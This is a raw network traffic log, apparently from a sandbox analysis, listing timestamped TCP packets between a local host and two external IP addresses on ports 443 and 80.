May 23, 2022 11:38:28.062396049 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.062448025 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.062500000 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.062513113 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.062524080 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.062530041 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.062587023 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.082029104 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.142668962 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.142755032 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.142940998 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.142967939 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.143035889 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.143109083 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.143151999 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.143161058 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.143207073 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.143285990 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.143590927 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.143712044 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.143726110 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.143733978 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.143810987 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.144102097 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.224075079 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.224276066 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.224278927 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.224313974 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.224359989 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.224400997 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.224586010 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.224736929 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.224837065 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.224872112 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.224957943 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.225214005 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.225311041 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.225322008 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.225344896 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.225439072 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.225666046 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.225765944 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.225797892 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.225883007 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.226114988 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.226238012 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.226244926 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.226305008 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.226389885 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.226406097 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.226603985 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.226697922 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.226736069 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.226816893 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.226939917 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.226989031 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.227073908 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.227138996 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.227230072 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.228746891 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.307142019 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.307317019 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.307693958 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.307766914 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.307815075 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.307858944 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.307862997 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.307882071 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.307894945 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.307930946 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.307940960 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.308031082 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.308167934 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.308263063 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.308322906 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.308394909 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.308568001 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.308633089 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.308727026 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.308787107 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.308866024 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.309094906 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.309186935 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.309247017 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.309319019 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.309601068 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.309689045 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.309751987 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.309828997 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.310117960 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.310198069 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.310271025 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.310352087 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.310580015 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.310667038 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.310734034 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.310807943 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.310987949 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.311049938 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.311151981 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.311213017 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.311290026 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.324219942 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.473273039 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.473347902 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.473438025 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.473602057 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.473602057 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.473642111 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.473661900 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.474246979 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.476244926 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.476263046 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:30.614835978 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:30.729741096 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:30.729847908 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:30.730407953 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:30.844945908 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:30.935470104 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:30.935524940 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:30.935553074 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:30.935575962 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:30.935599089 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:30.935623884 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:30.935688972 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:30.935714006 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:30.935776949 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:30.935801029 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:30.935826063 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:30.935832024 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:30.935857058 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:30.936022997 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:30.936038971 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:30.936043024 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:30.945513964 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.050765991 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.050800085 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.050826073 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.050843954 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.050868034 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.050877094 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.050892115 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.050900936 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.050911903 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.050918102 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.050940990 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.050940990 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.050957918 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.050966978 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.050986052 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.050991058 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.051000118 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.051014900 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.051028967 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.051038027 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.051055908 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.051059008 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.051081896 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.051089048 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.051094055 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.051105022 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.051125050 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.051127911 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.051137924 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.051151037 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.051165104 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.051167965 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.051183939 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.051192999 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.051204920 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.051215887 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.051239014 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.051259995 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.053778887 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.165888071 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.165942907 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.165986061 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.165999889 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.166012049 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.166024923 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.166063070 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.166095018 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.166110992 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.166137934 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.166160107 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.166193008 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.166207075 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.166230917 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.166255951 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.166287899 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.166301966 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.166330099 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.166352034 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.166392088 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.166402102 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.166430950 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.166452885 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.166486025 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.166501999 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.166531086 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.166552067 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.166593075 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.166603088 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.166630983 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.166651964 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.166686058 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.166702032 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.166728020 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.166750908 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.166790009 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.166800022 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.166826963 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.166847944 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.166887999 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.166898966 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.166996002 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.167028904 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.167051077 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.167084932 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.167114019 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.167134047 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.167165041 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.167174101 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.167202950 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.167237997 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.167253971 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.167284966 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.167304993 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.167342901 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.167352915 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.167385101 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.167402029 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.167438984 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.167448997 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.167476892 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.167498112 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.167531013 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.167546988 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.167574883 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.167596102 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.167634010 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.167643070 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.167673111 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.167691946 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.167731047 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.167740107 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.167771101 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.167922974 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.168220997 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.168255091 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.168283939 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.168294907 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.168323040 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.168356895 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.168371916 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.168412924 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.168659925 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.169029951 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.282476902 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.282500982 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.282521009 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.282550097 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.282558918 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.282591105 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.282613039 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.282618046 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.282632113 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.282654047 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.282679081 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.282701969 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.282716036 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.282723904 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.282747030 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.282759905 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.282779932 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.282793999 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.282812119 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.282825947 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.282855034 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.282869101 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.282891989 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.282902002 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.282927036 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.282936096 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.282963037 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.282975912 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.282994986 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.283005953 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.283042908 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.283143997 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.283165932 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.283189058 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.283205986 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.283211946 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.283230066 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.283245087 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.283255100 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.283277035 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.283289909 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.283312082 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.283322096 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.283344030 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.283360958 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.283382893 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.283390045 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.283411980 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.283423901 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.283447981 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.283457041 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.283480883 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.283492088 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.283518076 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.283524990 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.283541918 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.283565044 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.283767939 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.283785105 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.283811092 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.283845901 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.283864021 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.283891916 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.283898115 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.283912897 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.283936977 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.283946037 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.283967018 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.283983946 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.284002066 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.284010887 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.284033060 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.284044027 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.284054041 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.284071922 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.284084082 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.284104109 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.284125090 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.284140110 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.284148932 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.284169912 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.284188032 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.284205914 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.284214020 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.284234047 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.284257889 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.284272909 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.284280062 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.284301043 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.284312010 CEST	80	49174	66.84.31.11	192.168.2.22
